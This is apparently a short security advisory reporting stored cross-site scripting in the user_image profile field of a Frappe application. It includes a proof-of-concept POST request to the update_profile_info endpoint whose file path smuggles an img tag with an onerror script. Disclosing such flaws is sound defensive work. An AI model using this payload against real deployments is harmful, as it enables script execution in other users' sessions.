An authenticated user can inject malicious JavaScript into the user_image
field of the profile page using an XSS payload within the file path or HTML
context. This field is rendered without sufficient sanitization, allowing
stored script execution in the context of other authenticated users.
*Proof of Concept:*POST
/api/method/frappe.desk.page.user_profile.user_profile.update_profile_info
HTTP/2
Host: --host--
profile_info={"user_image":"/private/files/\"><img src=x
onerror=alert('XSS')>fd12cb.jpg"}
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